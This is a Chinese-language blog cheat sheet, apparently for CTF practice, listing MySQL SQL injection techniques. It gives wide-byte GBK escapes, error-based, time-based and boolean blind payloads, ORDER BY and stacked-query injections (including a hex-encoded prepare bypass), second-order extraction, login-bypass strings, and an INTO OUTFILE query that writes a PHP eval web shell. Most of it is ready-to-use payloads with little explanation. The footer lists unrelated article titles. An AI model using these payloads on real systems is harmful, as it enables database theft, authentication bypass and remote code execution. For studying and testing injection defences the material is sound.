一、宽字节注入

  • 原理:GBK编码、URL转码

    利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)

    例如:' -> ' -> %5C%27

    %df' -> %df' -> %df%5C%27

  • sql字符集特性

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

可以看到大写O和Ö是相等的

  • SQL注入常用URL编码

    空格 %20

    ' %27

    # %23

    \ %5C

  • php-addslashes函数:在特殊字符前加上反斜线\来转义

  • 如何从addslashes函数逃逸?

    • \前面再加一个\,变成\\',这样\就被转义了
    • 把\弄没
  • 表名或列名可以使用16进制转码来实现

    例如:ctf -> 0x637466

    sqlmap中加参数--hex

二、基于约束的注入

  • 原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据
  • 例如:注册admin + 很多空格 + 1,成功以admin身份登录

三、报错注入

  • 公式

        and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
    
        or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
    
        and extractvalue(1,concat(0x7e,(select database())))
    
        and exp(~(select * from (select user())a));
    
        and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

四、时间盲注

  • 原理:能够截取字符串,同时触发延时即可

    SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))

    SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

  • 相关函数

    • 延时方法

      • SLEEP(duration)

      • BENCHMARK(count,expr)



        例如select benchmark(10000000,sha(1))

      • 笛卡尔积

        例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;

        ps:COUNT(*)计算行数

      • GET_LOCK(str,timeout)

        需要开启两个会话才能生效

      • RLIKE

        通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

        例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b

    • 条件

      • IF(expr1,expr2,expr3)

      • CASE WHEN [condition] when [result]

    • 字符串截取

      • SUBSTR(SUBSTRING)

        substr同substring,有多种参数选择

        SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

      • MID(str,pos,len)同SUBSTRING(str,pos,len)

      • SUBSTRING_INDEX(str,delim,count)

      • LEFT(str,len)

    • 字符串转换

      • ASCII()
      • ORD()
      • CHR()

五、bool盲注

  • 原理:利用回显的消息不同,判断输入表达式是否正确
  • 常用函数

    基本同时间盲注

六、order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。

ORDER BY子句的语法格式为:

ORDER BY {column_name [ASC|DESC]}[,...n]

  • ORDER BY语句默认按照升序对记录进行排序
  • 在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
  • 当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
  • 根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
  • ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如

    select * from xxx order by id|(sleep(5))
  • ORDER BY在括号中时后面可以跟UNION,例如

    (select 1,2,3 order by 3 asc)union(select 2,3,4)

六、INSERT、UPDATE、DELETE相关的注入

  • INSERT

    例如:insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')

  • UPDATE

    例如:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

  • delete

    例如:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

七、堆叠注入

PDO场景下的SQL注入探究

  • 原理:利用;结束语句并插入自己的sql语句
  • 适用:
    • Mysql、SqlServer、Postgresql(Oracle不行)
    • 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
    • PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
  • 例子

    利用存储过程绕过select过滤
    http://web16.buuoj.cn/?      inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
    使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
    去掉URL编码后
    ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

八、二次注入

用这样的payload将数据带出来

0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0

两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度

九、文件读写

select @@secure_file_priv

secure_file_priv

  • 1、限制mysqld 不允许导入 | 导出

    --secure_file_prive=null
  • 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

    --secure_file_priv=/tmp/
  • 3、不对mysqld 的导入 | 导出做限制

    --secure_file_priv=

load_file读文件

写文件

select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
# <?php eval($_REQUEST['a']); ?>

十、常用绕过

SQL注入绕过技巧

  • 空格

    • /**/
  • =
    • like
    • regexp
    • !(<>)
  • '
    • 转义符\
    • 16进制(例如:ctf -> 0x637466)
    • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
    • substr from for
    • if->case when

其它重要绕过参考:SQL注入有趣姿势总结

Sql注入笔记

SQL注入之骚姿势小记

sql注入总结(一)--2018自我整理

十一、万能密码

select * from admin where username = '' and password = ''

username password
admin'#
'+' '+'
aaa'=' aaa'='
1\ '^'1
'%1#
'=0#

最新文章

  1. IEE重建表完全释放磁盘空间具体步骤参考
  2. 如何分析解决Android ANR
  3. iOS gcd dispatch使用注意,dispatch_syn可能产生的死锁
  4. maven配置httpclient3.X jar包
  5. WCF入门(12)
  6. (转)A Beginner&#39;s Guide To Understanding Convolutional Neural Networks
  7. elipse+pydev+python开发arcgis脚本程序
  8. 5.6 在线DDL (online DDL)详解
  9. LoadRunner 参数化详解
  10. Office 365 for TechNet 版本国家地区没有中国选项
  11. python列表sort方法的两个参数key, reverse
  12. Android 多状态按钮 ToggleButton
  13. iOS画面模糊
  14. 小白对Salesforce的简单认识(01)
  15. hook 虚表
  16. 性能测试工具Locust的使用
  17. .NET Core微服务之基于Ocelot+Butterfly实现分布式追踪
  18. 【Java】数组转List常见方式的对比
  19. .NET Core 2.1 源码学习:看 SocketsHttpHandler 如何在异步方法中连接 Socket
  20. zuul熔断代码

热门文章

  1. Android为TV端助力记录EditText.setInputType的坑
  2. nrm 工具的使用
  3. unity shader入门(三)逐像素光照,Blinn-Phong模型
  4. appium 操作界面
  5. Java开发环境之Eclipse
  6. vim 配置遇到的问题
  7. Vue命名规范
  8. 解决 Vue 刷新页面后 store 数据丢失的问题
  9. Laravel —— 特殊分页
  10. python面试题&amp;练习题之运算符与if控制